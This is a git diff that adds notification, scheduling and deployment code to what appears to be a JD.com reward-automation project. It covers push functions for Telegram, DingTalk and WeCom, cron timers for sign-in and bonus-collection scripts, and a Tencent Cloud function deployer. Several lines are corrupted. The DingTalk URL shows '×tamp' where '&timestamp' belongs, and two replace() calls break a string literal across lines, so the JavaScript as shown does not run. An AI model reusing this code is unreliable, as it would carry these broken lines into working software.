+ } else if (data.error_code === 401){
+ console.log('Telegram bot token 填写错误。\n')
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ } else {
+ console.log('您未提供telegram机器人推送所需的TG_BOT_TOKEN和TG_USER_ID,取消telegram推送消息通知🚫\n');
+ resolve()
+ }
+ })
+}
+function ddBotNotify(text, desp) {
+ return new Promise(resolve => {
+ const options = {
+ url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`,
+ json: {
+ "msgtype": "text",
+ "text": {
+ "content": ` ${text}\n\n${desp}`
+ }
+ },
+ headers: {
+ 'Content-Type': 'application/json'
+ },
+ timeout
+ }
+ if (DD_BOT_TOKEN && DD_BOT_SECRET) {
+ const crypto = require('crypto');
+ const dateNow = Date.now();
+ const hmac = crypto.createHmac('sha256', DD_BOT_SECRET);
+ hmac.update(`${dateNow}\n${DD_BOT_SECRET}`);
+ const result = encodeURIComponent(hmac.digest('base64'));
+ options.url = `${options.url}×tamp=${dateNow}&sign=${result}`;
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('钉钉发送通知消息失败!!\n')
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.errcode === 0) {
+ console.log('钉钉发送通知消息成功🎉。\n')
+ } else {
+ console.log(`${data.errmsg}\n`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ } else if (DD_BOT_TOKEN) {
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('钉钉发送通知消息失败!!\n')
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.errcode === 0) {
+ console.log('钉钉发送通知消息完成。\n')
+ } else {
+ console.log(`${data.errmsg}\n`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ } else {
+ console.log('您未提供钉钉机器人推送所需的DD_BOT_TOKEN或者DD_BOT_SECRET,取消钉钉推送消息通知🚫\n');
+ resolve()
+ }
+ })
+}
+
+function qywxBotNotify(text, desp) {
+ return new Promise(resolve => {
+ const options = {
+ url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`,
+ json: {
+ msgtype: 'text',
+ text: {
+ content: ` ${text}\n\n${desp}`,
+ },
+ },
+ headers: {
+ 'Content-Type': 'application/json',
+ },
+ timeout
+ };
+ if (QYWX_KEY) {
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('企业微信发送通知消息失败!!\n');
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.errcode === 0) {
+ console.log('企业微信发送通知消息成功🎉。\n');
+ } else {
+ console.log(`${data.errmsg}\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ } else {
+ console.log('您未提供企业微信机器人推送所需的QYWX_KEY,取消企业微信推送消息通知🚫\n');
+ resolve();
+ }
+ });
+}
+
+function ChangeUserId(desp) {
+ const QYWX_AM_AY = QYWX_AM.split(',');
+ if (QYWX_AM_AY[2]) {
+ const userIdTmp = QYWX_AM_AY[2].split("|");
+ let userId = "";
+ for (let i = 0; i < userIdTmp.length; i++) {
+ const count = "账号" + (i + 1);
+ const count2 = "签到号 " + (i + 1);
+ if (desp.match(count2)) {
+ userId = userIdTmp[i];
+ }
+ }
+ if (!userId) userId = QYWX_AM_AY[2];
+ return userId;
+ } else {
+ return "@all";
+ }
+}
+
+function qywxamNotify(text, desp) {
+ return new Promise(resolve => {
+ if (QYWX_AM) {
+ const QYWX_AM_AY = QYWX_AM.split(',');
+ const options_accesstoken = {
+ url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`,
+ json: {
+ corpid: `${QYWX_AM_AY[0]}`,
+ corpsecret: `${QYWX_AM_AY[1]}`,
+ },
+ headers: {
+ 'Content-Type': 'application/json',
+ },
+ timeout
+ };
+ $.post(options_accesstoken, (err, resp, data) => {
+ html = desp.replace(/\n/g, "
")
+ var json = JSON.parse(data);
+ accesstoken = json.access_token;
+ let options;
+
+ switch (QYWX_AM_AY[4]) {
+ case '0':
+ options = {
+ msgtype: 'textcard',
+ textcard: {
+ title: `${text}`,
+ description: `${desp}`,
+ url: '',
+ btntxt: '更多'
+ }
+ }
+ break;
+
+ case '1':
+ options = {
+ msgtype: 'text',
+ text: {
+ content: `${text}\n\n${desp}`
+ }
+ }
+ break;
+
+ default:
+ options = {
+ msgtype: 'mpnews',
+ mpnews: {
+ articles: [
+ {
+ title: `${text}`,
+ thumb_media_id: `${QYWX_AM_AY[4]}`,
+ author: `智能助手`,
+ content_source_url: ``,
+ content: `${html}`,
+ digest: `${desp}`
+ }
+ ]
+ }
+ }
+ };
+ if (!QYWX_AM_AY[4]) {
+ //如不提供第四个参数,则默认进行文本消息类型推送
+ options = {
+ msgtype: 'text',
+ text: {
+ content: `${text}\n\n${desp}`
+ }
+ }
+ }
+ options = {
+ url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`,
+ json: {
+ touser: `${ChangeUserId(desp)}`,
+ agentid: `${QYWX_AM_AY[3]}`,
+ safe: '0',
+ ...options
+ },
+ headers: {
+ 'Content-Type': 'application/json',
+ },
+ }
+
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n');
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.errcode === 0) {
+ console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n');
+ } else {
+ console.log(`${data.errmsg}\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ });
+ } else {
+ console.log('您未提供企业微信应用消息推送所需的QYWX_AM,取消企业微信应用消息推送消息通知🚫\n');
+ resolve();
+ }
+ });
+}
+
+function iGotNotify(text, desp, params={}){
+ return new Promise(resolve => {
+ if (IGOT_PUSH_KEY) {
+ // 校验传入的IGOT_PUSH_KEY是否有效
+ const IGOT_PUSH_KEY_REGX = new RegExp("^[a-zA-Z0-9]{24}$")
+ if(!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) {
+ console.log('您所提供的IGOT_PUSH_KEY无效\n')
+ resolve()
+ return
+ }
+ const options = {
+ url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`,
+ body: `title=${text}&content=${desp}&${querystring.stringify(params)}`,
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ timeout
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('发送通知调用API失败!!\n')
+ console.log(err);
+ } else {
+ if(typeof data === 'string') data = JSON.parse(data);
+ if (data.ret === 0) {
+ console.log('iGot发送通知消息成功🎉\n')
+ } else {
+ console.log(`iGot发送通知消息失败:${data.errMsg}\n`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ } else {
+ console.log('您未提供iGot的推送IGOT_PUSH_KEY,取消iGot推送消息通知🚫\n');
+ resolve()
+ }
+ })
+}
+
+function pushPlusNotify(text, desp) {
+ return new Promise(resolve => {
+ if (PUSH_PLUS_TOKEN) {
+ desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext
+ const body = {
+ token: `${PUSH_PLUS_TOKEN}`,
+ title: `${text}`,
+ content:`${desp}`,
+ topic: `${PUSH_PLUS_USER}`
+ };
+ const options = {
+ url: `http://www.pushplus.plus/send`,
+ body: JSON.stringify(body),
+ headers: {
+ 'Content-Type': ' application/json'
+ },
+ timeout
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`)
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.code === 200) {
+ console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`)
+ } else {
+ console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ } else {
+ console.log('您未提供push+推送所需的PUSH_PLUS_TOKEN,取消push+推送消息通知🚫\n');
+ resolve()
+ }
+ })
+}
+
+module.exports = {
+ sendNotify,
+ BARK_PUSH
+}
+// prettier-ignore
+function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;$.isMute||(this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o))),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)}
diff --git a/Task/serverless.yml b/Task/serverless.yml
new file mode 100644
index 0000000..564954a
--- /dev/null
+++ b/Task/serverless.yml
@@ -0,0 +1,81 @@
+# serverless.yml
+
+#组件信息
+component: scf # (必选) 组件名称,在该实例中为scf
+name: jdscript # (必选) 组件实例名称。
+
+#组件参数配置
+inputs:
+ name: scf-${name} # 云函数名称,默认为 ${name}-${stage}-${app}
+ enableRoleAuth: true # 默认会尝试创建 SCF_QcsRole 角色,如果不需要配置成 false 即可
+ src: ./
+ handler: index.main_handler #入口
+ runtime: Nodejs12.16 # 运行环境 默认 Nodejs10.15
+ region: ap-hongkong # 函数所在区域
+ description: This is a function in ${app} application.
+ memorySize: 128 # 内存大小,单位MB
+ timeout: 900 # 超时时间,单位秒
+ events: #触发器
+ - timer: #签到
+ parameters:
+ name: beansign
+ cronExpression: "0 0 0 * * * *"
+ enable: true
+ argument: jd_bean_sign
+ - timer: #东东超市兑换奖品 #摇京豆 #京东汽车兑换 #家电星推官 #家电星推官好友互助
+ parameters:
+ name: blueCoin_clublottery_carexchange_xtg_xtghelp
+ cronExpression: "0 0 0 * * * *"
+ enable: true
+ argument: jd_blueCoin&jd_club_lottery&jd_car_exchange&jd_xtg&jd_xtg_help
+ - timer: #东东农场 #东东萌宠 #口袋书店 #京喜农场 #京东极速版签到 #京东家庭号 #金榜创造营 #明星小店
+ parameters:
+ name: fruit_pet_bookshop_jxnc_speedsign_family_goldcreator_starshop
+ cronExpression: "0 5 6-18/6,8 * * * *"
+ enable: true
+ argument: jd_fruit&jd_pet&jd_bookshop&jd_jxnc&jd_speed_sign&jd_family&jd_gold_creator&jd_star_shop
+ - timer: #宠汪汪喂食 #宠汪汪 #摇钱树 #京东种豆得豆 #京喜工厂 #东东工厂 #东东健康社区收集能量
+ parameters:
+ name: feedPets_joy_moneyTree_plantBean_dreamFactory_jdfactory_healthcollect
+ cronExpression: "0 3 */1 * * * *"
+ enable: true
+ argument: jd_joy_feedPets&jd_joy&jd_moneyTree&jd_plantBean&jd_dreamFactory&jd_jdfactory&jd_health_collect
+ - timer: #宠汪汪积分兑换京豆 #签到领现金 #点点券 #东东小窝 #京喜财富岛 #京东直播 #东东健康社区 #每日抽奖 #女装魔盒 #跳跳乐 #5G超级盲盒
+ parameters:
+ name: joyreward_cash_necklace_smallhome_cfd_live_health_dailylottery_nzmh_jump_mohe
+ cronExpression: "0 0 0-16/8,20 * * * *"
+ enable: true
+ argument: jd_joy_reward&jd_cash&jd_necklace&jd_small_home&jd_cfd&jd_live&jd_health&jd_daily_lottery&jd_nzmh&jd_jump&jd_mohe
+ - timer: #京东全民开红包 #进店领豆 #取关京东店铺商品 #京东抽奖机 #京东汽车 #京东秒秒币
+ parameters:
+ name: redPacket_shop_unsubscribe_lotteryMachine_car_ms
+ cronExpression: "0 10 0 * * * *"
+ enable: true
+ argument: jd_redPacket&jd_shop&jd_unsubscribe&jd_lotteryMachine&jd_car&jd_ms
+ - timer: #天天提鹅 #手机狂欢城
+ parameters:
+ name: dailyegg_carnivalcity
+ cronExpression: "0 8 */3 * * * *"
+ enable: true
+ argument: jd_daily_egg&jd_carnivalcity
+ - timer: #东东超市 #十元街 #动物联萌 #翻翻乐
+ parameters:
+ name: superMarket_syj_zoo_bigwinner
+ cronExpression: "0 15 */1 * * * *"
+ enable: true
+ argument: jd_superMarket&jd_syj&jd_zoo&jd_big_winner
+ - timer: #京豆变动通知 #疯狂的joy #监控crazyJoy分红 #京东排行榜 #领京豆额外奖励 #京东保价 #闪购盲盒 #新潮品牌狂欢 #京喜领88元红包
+ parameters:
+ name: beanchange_crazyjoy_crazyjoybonus_rankingList_beanhome_price_sgmh_mcxhd_jxlhb
+ cronExpression: "0 30 7 * * * *"
+ enable: true
+ argument: jd_bean_change&jd_crazy_joy&jd_crazy_joy_bonus&jd_rankingList&jd_bean_home&jd_price&jd_sgmh&jd_mcxhd&jd_jxlhb
+ - timer: #金融养猪 #京东快递 #京东赚赚 #京东极速版红包 #领金贴
+ parameters:
+ name: pigPet_kd_jdzz_speedredpocke_jintie
+ cronExpression: "0 3 1 * * * *"
+ enable: true
+ argument: jd_pigPet&jd_kd&jd_jdzz&jd_speed_redpocke&jd_jin_tie
+ environment: # 环境变量
+ variables: # 环境变量对象
+ AAA: BBB # 不要删除,用来格式化对齐追加的变量的
diff --git a/Task/tencentscf.js b/Task/tencentscf.js
new file mode 100644
index 0000000..a4876bc
--- /dev/null
+++ b/Task/tencentscf.js
@@ -0,0 +1,189 @@
+// Depends on tencentcloud-sdk-nodejs version 4.0.3 or higher
+const tencentcloud = require("tencentcloud-sdk-nodejs");
+const fs = require("fs");
+const yaml = require("js-yaml");
+
+process.env.action = 0;
+const ScfClient = tencentcloud.scf.v20180416.Client;
+const clientConfig = {
+ credential: {
+ secretId: process.env.TENCENT_SECRET_ID,
+ secretKey: process.env.TENCENT_SECRET_KEY
+ },
+ region: process.env.TENCENT_REGION, // 区域参考,https://cloud.tencent.com/document/product/583/17299
+ profile: {
+ httpProfile: {
+ endpoint: "scf.tencentcloudapi.com"
+ }
+ }
+};
+const sleep = ms => new Promise(res => setTimeout(res, ms));
+
+!(async () => {
+ const client = new ScfClient(clientConfig);
+ let params;
+ await client.ListFunctions({}).then(
+ async data => {
+ let func = data.Functions.filter(
+ vo => vo.FunctionName === process.env.TENCENT_FUNCTION_NAME
+ );
+ const file_buffer = fs.readFileSync("./myfile.zip");
+ const contents_in_base64 = file_buffer.toString("base64");
+ if (func.length) {
+ console.log(`更新函数`);
+ // 更新代码,删除后重建
+ params = {
+ FunctionName: process.env.TENCENT_FUNCTION_NAME
+ };
+ await client.DeleteFunction(params).then(
+ data => {
+ console.log(data);
+ },
+ err => {
+ console.error("error", err);
+ process.env.action++;
+ }
+ );
+ await sleep(1000 * 50); // 等待50秒
+ }
+
+ console.log(`创建函数`);
+ let inputYML = ".github/workflows/deploy_tencent_scf.yml";
+ let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" }));
+ params = {
+ Code: {
+ ZipFile: contents_in_base64
+ },
+ FunctionName: process.env.TENCENT_FUNCTION_NAME,
+ Runtime: "Nodejs12.16",
+ Timeout: 900,
+ Environment: {
+ Variables: []
+ }
+ };
+ let vars = [];
+ for (let key in obj.jobs.build.env) {
+ if (process.env[key].length > 0) {
+ vars.push(key);
+ params.Environment.Variables.push({
+ Key: key,
+ Value: process.env[key]
+ });
+ }
+ }
+ console.log(`您一共填写了${vars.length}个环境变量`, vars);
+ await client.CreateFunction(params).then(
+ data => {
+ console.log(data);
+ },
+ err => {
+ console.error("error", err);
+ process.env.action++;
+ }
+ );
+ await sleep(1000 * 50); // 等待50秒
+ },
+ err => {
+ console.error("error", err);
+ process.env.action++;
+ }
+ );
+
+ /* console.log(`更新环境变量`);
+ // 更新环境变量
+ let inputYML = ".github/workflows/deploy_tencent_scf.yml";
+ let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" }));
+ let vars = [];
+ for (let key in obj.jobs.build.steps[3].env) {
+ if (key !== "PATH" && process.env.hasOwnProperty(key))
+ vars.push({
+ Key: key,
+ Value: process.env[key]
+ });
+ }
+ console.log(`您一共填写了${vars.length}个环境变量`);
+ params = {
+ FunctionName: process.env.TENCENT_FUNCTION_NAME,
+ Environment: {
+ Variables: vars
+ }
+ };
+ await client.UpdateFunctionConfiguration(params).then(
+ data => {
+ console.log(data);
+ },
+ err => {
+ console.error("error", err);
+ }
+ );
+ let triggers = [];
+ params = {
+ FunctionName: process.env.TENCENT_FUNCTION_NAME
+ };
+ await client.ListTriggers(params).then(
+ data => {
+ console.log(data);
+ triggers = data.Triggers;
+ },
+ err => {
+ console.error("error", err);
+ }
+ );
+ for (let vo of triggers) {
+ params = {
+ FunctionName: process.env.TENCENT_FUNCTION_NAME,
+ Type: "timer",
+ TriggerName: vo.TriggerName
+ };
+ await client.DeleteTrigger(params).then(
+ data => {
+ console.log(data);
+ },
+ err => {
+ console.error("error", err);
+ }
+ );
+ } */
+
+ // 更新触发器
+ console.log(`去更新触发器`);
+ let inputYML = "serverless.yml";
+ let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" }));
+ for (let vo of obj.inputs.events) {
+ let param = {
+ FunctionName: process.env.TENCENT_FUNCTION_NAME,
+ TriggerName: vo.timer.parameters.name,
+ Type: "timer",
+ TriggerDesc: vo.timer.parameters.cronExpression,
+ CustomArgument: vo.timer.parameters.argument,
+ Enable: "OPEN"
+ };
+ await client.CreateTrigger(param).then(
+ data => {
+ console.log(data);
+ },
+ err => {
+ console.error("error", err);
+ process.env.action++;
+ }
+ );
+ }
+})()
+ .catch(e => console.log(e))
+ .finally(async () => {
+ // 当环境为GitHub action时创建action.js文件判断部署是否进行失败通知
+ if (process.env.GITHUB_ACTIONS == "true") {
+ fs.writeFile(
+ "action.js",
+ `var action = ` + process.env.action + `;action > 0 ? require("./sendNotify").sendNotify("云函数部署异常!请重试","点击通知,登入后查看详情",{ url: process.env.GITHUB_SERVER_URL + "/" + process.env.GITHUB_REPOSITORY + "/actions/runs/" + process.env.GITHUB_RUN_ID + "?check_suite_focus=true" }): ""`,
+ "utf8",
+ function (error) {
+ if (error) {
+ console.log(error);
+ return false;
+ }
+ console.log("写入action.js成功");
+ }
+ );
+ }
+ });